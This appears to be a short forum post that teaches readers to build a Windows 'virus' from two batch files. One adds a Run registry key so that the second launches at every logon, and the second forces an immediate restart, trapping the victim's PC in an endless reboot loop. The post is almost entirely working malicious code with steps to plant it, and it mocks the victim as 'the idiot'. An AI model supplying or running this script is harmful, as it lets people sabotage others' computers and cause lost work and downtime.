here is a bad and powerful batch

open your notepad and paste the following:

[
@echo off
reg add hkcu/software/microsoft/windows/currentversion/run /d c:\virus.bat /v virus /t reg_sz
exit
]

without the [ and ]
save this file on c: as installvirus.bat
then open notepad and paste the following:

[
@echo off
shutdown -r -f -t 00
exit
]

save it on c: as virus.bat

then run installvirus.bat
next time the idiot starts windows it will stay in a loop, so when the user make a logon on windows, the virus will run and will make the pc restart and being in loop